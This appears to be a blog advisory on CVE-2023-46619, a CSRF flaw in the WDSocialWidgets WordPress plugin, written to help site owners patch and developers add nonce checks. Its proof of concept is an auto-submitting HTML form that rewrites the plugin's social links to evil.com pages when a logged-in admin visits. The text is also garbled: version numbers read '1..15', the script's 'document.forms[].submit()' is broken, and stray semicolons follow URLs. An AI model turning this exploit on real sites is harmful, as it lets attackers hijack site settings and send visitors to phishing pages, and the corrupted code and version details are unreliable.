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Introduction

If you’re running a WordPress site and using the WebDorado WDSocialWidgets plugin, this post is for you. Let’s break down CVE-2023-46619, a Cross-Site Request Forgery (CSRF) vulnerability affecting all plugin versions up to 1..15. We’ll learn what CSRF is, how this plugin is affected, see a proof-of-concept exploit, and discuss how to protect your site.

What is CSRF?

CSRF stands for Cross-Site Request Forgery. In simple terms, CSRF tricks a user’s browser into sending unwanted actions to a website in which they’re authenticated. It’s like someone fooling you into clicking a malicious link while you’re still logged in—this link does something bad to your account without your knowledge.

About the WDSocialWidgets Plugin

WDSocialWidgets is a WordPress plugin made by WebDorado. It lets you add social network icons and widgets to your site. Simple and useful, right?

But, up to version 1..15, the plugin had a dangerous oversight in processing certain requests. Let’s see what that means.

Vulnerability Details

The issue is this: the plugin handles backend actions—like saving widgets or options—without verifying if a request actually came from a legit user session. This missing nonce or authentication check makes it easy for attackers to craft requests that trick admin users into making changes.

In code, WordPress plugins are supposed to check for a security nonce like this

if ( ! isset( $_POST['myplugin_nonce'] ) || ! wp_verify_nonce( $_POST['myplugin_nonce'], 'myplugin_action' ) ) {
    die( 'Security check failed' );
}

But in the WDSocialWidgets plugin <= 1..15, such a nonce check was missing for key actions. That’s where the trouble starts.

Proof-of-Concept Exploit

Imagine an attacker wants to change social widget settings on a target site. They can craft a simple HTML page with a form that submits POST data to the admin’s WordPress backend (assuming the admin is already logged in).

Here’s an example exploit

<html>
  <body>
    <form action="https://victim-site.com/wp-admin/admin.php?page=social_wd_settings"; method="POST">
      <input type="hidden" name="facebook_url" value="https://evil.com/fake-facebook"; />
      <input type="hidden" name="twitter_url" value="https://evil.com/fake-twitter"; />
      <input type="hidden" name="action" value="save" />
      <input type="submit" value="Click Me!" />
    </form>
    <script>
      // Auto-submit the form if the admin loads this page
      document.forms[].submit();
    </script>
  </body>
</html>

If a logged-in admin visits a malicious webpage, this script submits a POST request, updating the widget’s settings to the attacker’s links—without any warning.

Why is This Dangerous?

Once an attacker overrides social links or widgets, users visiting the site might be redirected to phishing URLs, malware, or fake social media pages. It damages site reputation and endangers visitors.

Official References

- NVD – CVE-2023-46619
- WordPress Plugin Page

*More references:*
- WPScan Advisory (WDSocialWidgets)
- Packet Storm CVE Listing

What Should You Do?

- Update Immediately: If you use WDSocialWidgets, make sure to update to the latest, patched version. If no update is available, consider disabling the plugin until fixed.

Developer Guidance

If you develop WordPress plugins, always use nonce verification for all POST/GET actions in the admin area:

if ( ! isset( $_POST['social_wd_nonce'] ) || ! wp_verify_nonce( $_POST['social_wd_nonce'], 'social_wd_save_settings' ) ) {
    wp_die( 'CSRF check failed.' );
}

In Short:
CVE-2023-46619 is a textbook CSRF bug in WDSocialWidgets (<= 1..15). If you’re vulnerable, patch your site immediately. If you want your WordPress site secure, never trust unauthenticated form submissions—always use nonces!

Stay safe. 🚨

*Feel free to share this post and help protect the WordPress community.*

Timeline

Published on: 11/13/2023 01:15:00 UTC
Last modified on: 11/17/2023 00:47:00 UTC